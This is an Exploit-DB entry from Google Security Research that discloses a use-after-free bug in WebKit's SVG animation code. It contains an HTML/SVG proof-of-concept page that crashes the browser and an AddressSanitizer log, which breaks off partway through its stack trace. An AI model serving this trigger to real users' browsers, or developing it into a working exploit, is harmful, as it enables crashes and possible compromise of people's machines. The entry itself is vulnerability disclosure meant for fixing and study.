Exploit-DB #45480
Description: WebKit - 'WebCore::SVGAnimateElementBase::resetAnimatedType' Use-After-Free
Type: dos
Platform: multiple
Date: 2018-09-25
Author: Google Security Research

Exploit:
<!--
There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the ASan build of the latest WebKit source on OSX.

PoC:

=================================================================
-->

<script>
function eventhandler2() {
try { var var00138 = svgvar00013.parentNode; } catch(e) { }
try { htmlvar00006.setAttribute("onfocusin", "eventhandler2()"); } catch(e) { }
try { svgvar00001.after(var00138); } catch(e) { }
}
function eventhandler5() {
try { htmlvar00028.autofocus = true; } catch(e) { }
try { htmlvar00034.appendChild(htmlvar00006); } catch(e) { }
}
</script>
<h5 id="htmlvar00006">
<keygen id="htmlvar00028">
</h5>
<a id="htmlvar00034">
<svg id="svgvar00001">
<g onload="eventhandler2()"></g>
<animate attributeName="fill" />
<polygon id="svgvar00013" />
<br>
<details ontoggle="eventhandler5()" open="true"></details>

<!--
=================================================================

ASan log:

=================================================================
==25305==ERROR: AddressSanitizer: heap-use-after-free on address 0x60300014ff80 at pc 0x00052bbd87c6 bp 0x7ffee9af05b0 sp 0x7ffee9af05a8
READ of size 8 at 0x60300014ff80 thread T0
==25305==WARNING: invalid path to external symbolizer!
==25305==WARNING: Failed to use and restart external symbolizer!
    #0 0x52bbd87c5 in WebCore::SVGAnimateElementBase::resetAnimatedType() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd87c5)
    #1 0x52bdc5c22 in WebCore::SVGSMILElement::progress(WebCore::SMILTime, WebCore::SVGSMILElement*, bool) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3dc5c22)
    #2 0x52bdc2fae in WebCore::SMILTimeContainer::updateAnimations(WebCore::SMILTime, bool) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3dc2fae)
    #3 0x52bdc16ec in WebCore::SMILTimeContainer::timerFired() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3dc16ec)
    #4 0x52b134d02 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3134d02)
    #5 0x52b1e5cf9 in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x31e5cf9)
    #6 0x7fff54e0e063 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8f063)
    #7 0x7fff54e0dcd6 in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8ecd6)
    #8 0x7fff54e0d7d9 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8e7d9)
    #9 0x7fff54e04daa in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x85daa)
    #10 0x7fff54e041a2 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x851a2)
    #11 0x7fff540ead95 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x2fd95)
    #12 0x7fff540eab05 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x2fb05)
    #13 0x7fff540ea883 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x2f883)
    #14 0x7fff5239ca72 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x41a72)
    #15 0x7fff52b32e33 in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7d7e33)
    #16 0x7fff52391884 in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x36884)
    #17 0x7fff52360a71 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5a71)
    #18 0x7fff7cf6cdc6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x10dc6)
    #19 0x7fff7cf6ba19 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xfa19)
    #20 0x10610d4d6 in main (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x1000014d6)
    #21 0x7fff7cc12014 in start (/usr/lib/system/libdyld.dylib:x86_64+0x1014)

0x60300014ff80 is located 0 bytes inside of 32-byte region [0x60300014ff80,0x60300014ffa0)
freed by thread T0 here:
    #0 0x10a249fa4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/9.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x59fa4)
    #1 0x537a50c12 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xeec12)
    #2 0x52bbd9c62 in WebCore::SVGAnimateElementBase::resetAnimatedPropertyType() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd9c62)
    #3 0x52bc4a365 in WebCore::SVGDocumentExtensions::clearTargetDependencies(WebCore::SVGElement&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3c4a365)
    #4 0x52bc4bcce in WebCore::SVGElement::removedFromAncestor(WebCore::Node::RemovalType, WebCore::ContainerNode&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3c4bcce)
    #5 0x52a3ff8a2 in WebCore